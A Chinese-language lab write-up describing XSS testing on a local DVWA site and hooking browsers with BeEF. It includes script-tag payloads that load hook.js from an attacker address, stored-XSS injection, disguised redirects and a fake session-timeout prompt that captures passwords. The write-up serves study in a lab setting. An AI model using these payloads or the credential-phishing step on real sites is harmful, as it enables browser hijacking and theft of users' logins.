本次学习需要用到kali2 linux以及DVWA环境。已搭建好本地服务器,在此不再赘述。
首先打开BEEF工具并开启dvwa网站,安全等级设置为low。
cat /etc/beef-xss/config.yaml查看,之后使用vim来修改。Vim /etc/beef-xss/config.yaml先按下i键,进入插入模式,修改密码用户名,再输入:wq完成写入保存。之后登录beef。
接下来我们按照注释
只要目标网页访问带有<script src=”http://10.0.2.15/hook.js”></script>标签的链接或是页面,此浏览器就会被勾连(hook)。从而使我们能在beef的web UI中看到目标浏览器的信息以及控制权。
此次实验我使其访问beef的主页/demos/butcher/index.html,因为其页面自带有/hook.js
先测试此站点是否存在XSS注入,我们选择XSS(DOM)页面进行测试。
弹窗显示1,则存在XSS漏洞。
再试试反射型XSS。
再测试DOM型XSS
测试完毕,发现都可以注入。
于是我们尝试在存在存储型XSS处注入<script src=”http://10.0.2.15:3000/demos/butcher/index.html”>www.baidu.com</script>,并将评论框最大长度限制删除。
成功注入,尝试点击链接,跳转到beef主页,但是这样不行,容易让用户起疑心,那我们可以让页面再跳转回之前用户访问的界面或者跳转到用户熟悉的界面。例如我们跳转到baidu。
首先查看beef控制中心。
发现有用户上线,此时我们用命令模块使浏览器切入baidu页面。
此时用户在此页面的任何操作都会被记录(仅限此页面)。
同时在跳转的时候,我们可以伪装成会话超时,让用户重新输入如用户名和密码。
当用户确定时会回显。成功获取用户密码。
到这里测试结束。
其实以上过程可以配合metasploit来进行,再辅以脚本来配合社工,可以让各种交互之间更好地协调,来达成更好的实际效果。
Beef工作机制:在beef上有一个叫zombie的东西,即受害浏览器。zombie是被hook(勾连)的,如果受害浏览器访问了有勾子(由js编写)的页面,就会被hook,勾连的浏览器会执行初始代码返回一些信息,接着zombie会每隔一段时间(默认为1秒)就会向BeeF服务器发送一个请求,询问是否有新的代码需要执行。BeeF服务器本质上就像一个Web应用,被分为前端UI,和后端。前端会轮询后端是否有新的数据需要更新,同时前端也可以向后端发送指示,BeeF持有者可以通过浏览器来登录BeeF 的后台管理UI。
总结:经过探索,发现beef仍有许多许多功能可以实现。只要受害者访问带有hook.js的页面,就会被勾连,beef可以对其进行强化控制或是信息收集(监听),通过快速与zombie之间通信交互,实现对zombie的控制。总的来说beef是一个很强大的基于浏览器框架攻击的集成工具。这次实验使我又学习到了不少东西。